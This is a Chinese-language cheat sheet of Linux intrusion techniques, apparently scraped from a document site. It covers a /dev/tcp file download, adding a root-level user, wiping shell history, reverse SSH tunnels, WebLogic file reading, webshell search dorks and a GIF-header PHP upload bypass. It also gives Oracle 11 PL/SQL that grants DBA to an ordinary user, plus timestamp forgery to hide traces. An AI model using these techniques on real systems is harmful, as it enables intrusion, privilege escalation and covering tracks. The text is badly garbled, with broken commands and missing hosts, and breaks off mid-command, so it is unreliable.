Linux下幾個常規(guī)入侵滲透的基本方法

1、linux下幾個常規(guī)入侵滲透的基本方法1.無wget 等下載工具時下載文件 ec 5 /dev/t//80 echo -e get /c.pl http/1.0n 5 5 c.pl 2.linux添加u為0的用戶 histsize=0 export histfile=/dev/null 4.ssh反向鏈接 ssh -c -f -n -g -r 44::22 cnbirdip -p 指定遠(yuǎn)端服務(wù)器ssh端口 然后服務(wù)器上執(zhí)行ssh localhost -p 44即可 5.weblogic本地讀取文件漏洞 curl -h wl_request_type: w

2、l_xml_entity_request -h xml-regisyname: ././ -h xml-entity-path: config.xml http:/server/wl_management_internal2/wl_management 6.apache查看虛擬web名目 ./ -t -d dump_vhosts 7.cvs滲透技巧 cvsroot/ unix sha1的密碼文件 cvsroot/readers cvsroot/rs cvs/root cvs/entries 更新的文件和名目內(nèi)容 cvs/repository 8.cpanel路徑泄露 /3rdparty/squ

3、irrelmail/functions/plugin. 9.修改上傳文件時光戳(掩蓋入侵痕跡) -r 老文件時光戳 新文件時光戳 10.利用bai和google搜尋目標(biāo)主機webshell intitle:jackal 1t1t 11.包總補充 創(chuàng)建暫時 躲藏 名目 /tmp/. /tmp/.名目在管理員有宿醉的狀況下是 躲藏 的，可以暫時放點exp啥的 12.利用linux輸出繞過gif限制的 printf gif89ax01x00x01x00 ?php phpinfo();? poc.php 13.讀取環(huán)境變量對于查找信息十分有協(xié)助 /proc/self/environ 14.最新的ora

4、cle 11提升用戶權(quán)限(只要session權(quán)限) dbms_jvm_exp_perms 中的import_jvm_perms 推斷登陸權(quán)限 select * from session_privs; create session select * from session_roles; select type_name, name, action from sys.dba_java_policy where grantee = 'gremlin(用戶名)' desc java$policy$ declare pol dbms_jvm_exp.temp_java_policy;

5、cursor c1 is select 'grant' user(), 'sys', 'java.io.filepeission', ' all files ', 'exee', 'enable' from dual; begin open c1; fetch c1 bulk collect into pol; close c1; dbms_jvm_exp_perms.import_jvm_perms(pol); end; connect / as sysdba col type_name for

6、a30; col name for a30; col_action for a10; select type_name, name, action from sys.dba_java_policy where grantee = '用戶' connect 一般用戶 serveroutput on exec dbms_java.set_output(10000); select dbms_java.set_output_to_java('id', 'oracle/aurora/rdbms/dbmsjava', 'sys', '

7、;writeoutputtofile', 'text', null, null, null, null,0,1,1,1,1,0, 'declare pragma autonomous_transaction;'begin execute immediate ''grant dba to 用戶'' end;', 'begin null; end;') from dual; exec dbms_cdc_isubscribe.int_purge_windows('no_such_subscript

8、ion', sysdate(); set role dba; select * from session_privs; exec sys.vulnproc('foo |dbms_java.set_output_to_sql( id , declare pragma autonomous_transaction;begin execute immediate grant dba to public dbms_output.put_line(:1);end; , text )| bar'); select dbms_java.runjava('oracle/auro

9、ra/util/test') from dual; set role dba; 15. weblogic滲透技巧 四. weblogin script tool(wlst) 寫入到 domain_home configconfig.xml 1.舉行修改: bea_home werver_10.0serverbinsetwlsenv.sh 2.啟動wlst java weblogic.wlst wls:/offline connect('admin', 'admin', 't3:/:7001') wls:/bbk/serv

10、erconfig help() wls:/bbk/serverconfig it() wls:/bbk/serverconfig ('servers') wls:/bbk/serverconfig/server-cnbird cd('log') wls:/bbk/serverconfig/server-cnbird/log cd('server-cnbird') wls:/bbk/serverconfig/server-cnbird/log/server-cnbird startedit() wls:/bbk/serverconfig/serve

11、r-cnbird/log/server-cnbird ! set('filecount', '4') wls:/bbk/serverconfig/server-cnbird/log/server-cnbird ! save() wls:/bbk/serverconfig/server-cnbird/log/server-cnbird ! activate() 提交對應(yīng)active change wls:/bbk/serverconfig/server-cnbird/log/server-cnbird ! disconnect() wls:/offline exit() 3.批處理: 保存以上為cnbird.py connect('admin', 'admin', 't3:/:7